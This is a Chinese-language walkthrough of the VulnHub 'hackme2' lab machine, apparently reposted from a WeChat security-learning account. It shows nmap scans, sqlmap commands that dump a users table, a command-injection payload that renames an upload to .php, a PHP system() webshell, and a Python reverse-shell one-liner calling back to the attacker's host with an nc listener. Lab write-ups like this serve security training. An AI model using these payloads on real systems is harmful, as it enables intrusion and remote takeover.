hackme2 复现  

环境下载  

下载链接：https://www.vulnhub.com/entry/hackme-2,618/

下载完成          

环境搭建  

打开虚拟机-》主页或虚拟机导航栏文件-》点击打开-》选中下载好的文件打开

打开之后

创建成功

查找ip与端口  

查看网络连接模式  

查看NAT模式下，虚拟机分配的ip地址段               

开启kali nmap扫描IP地址段  

（kali网络模式切换为NAT模式，确保都在同一网段，两台机器之间可以通信）

nmap 192.168.3.0/24              //扫描该网段存活的主机         

得到ip

扫描端口  

nmap 192.168.3.128 -p-            //扫描全端口            

访问页面   

注册登录，看看

SQL注入  

搜索框数据交互，存在SQL注入，post提交方式，抓包（和之前复现的hackme 靶场一样）

SQLmap工具注入  

sqlmap -r ini.txt --current-db            
           
解释：sqlmap -r 指定一个文件 、--current-db  获取当前数据库            

sqlmap -r ini.txt -D webapphacking --tables            
           
解释：获取指定webapphacking数据库下的所有表            

sqlmap -r ini.txt -D webapphacking -T users --dump            
           
解释：获取webapphacking数据库下users表中的数据            

解密之后。用户名：superadmin 密码：Uncrackable

用管理员的账号密码登录页面查看              

测试文件上传是否有漏洞              

测试下面的功能点                

可能存在命令注入

验证命令注入      

漏洞存在（绕过过滤）            

查看当前页面源码内容           

利用该漏洞与泄露的文件上传路径  

搭配试试，上传.jpg图片马 图片马内容为phpinfo();

在bp中，利用代码执行漏洞，修改上传文件的后缀名  

fname=1&lname=system('mv${IFS}/var/www/html/uploads/year2020/x.jpg${IFS}/var/www/html/uploads/year2020/x.php')&search=Search+User            

拼接路径浏览测试是否成功             

同样的原理，那么就可以上传一句话木马，修改后缀             

浏览访问

重点：  

访问不行

这里注意，存在的漏洞是命令执行漏洞，所以上传的一句话木马函数不是eval是

system（已经踩过坑了）

<?php @system($_GET[cmd]);?>

结合两个功能点，反弹shell  

上传命令执行的一句话木马

这里给大家推荐一个在线生成反弹shell命令的网站            
https://weibell.github.io/reverse-shell-generator/            

借用hackbar访问url，反弹shell               

export RHOST="192.168.3.129";            
export RPORT=8000;python -c 'import sys,socket,os,pty;            
s=socket.socket();            
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));            
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];            
pty.spawn("/bin/sh")'            

复制下来修改一下

拼接，上传的一句话木马文件，跟上传递的参数  

http://192.168.3.128/uploads/year2020/fantanML.php            
?cmd=export RHOST="192.168.3.129";            
export RPORT=8000;python -c 'import sys,socket,os,pty;            
s=socket.socket();            
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));            
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];            
pty.spawn("/bin/sh")'            

kali设置监听  

nc -lvnp 8000            

浏览器传递反弹shell的请求              

原文始发于微信公众号（小白摸坑学网安）：hackme2 复现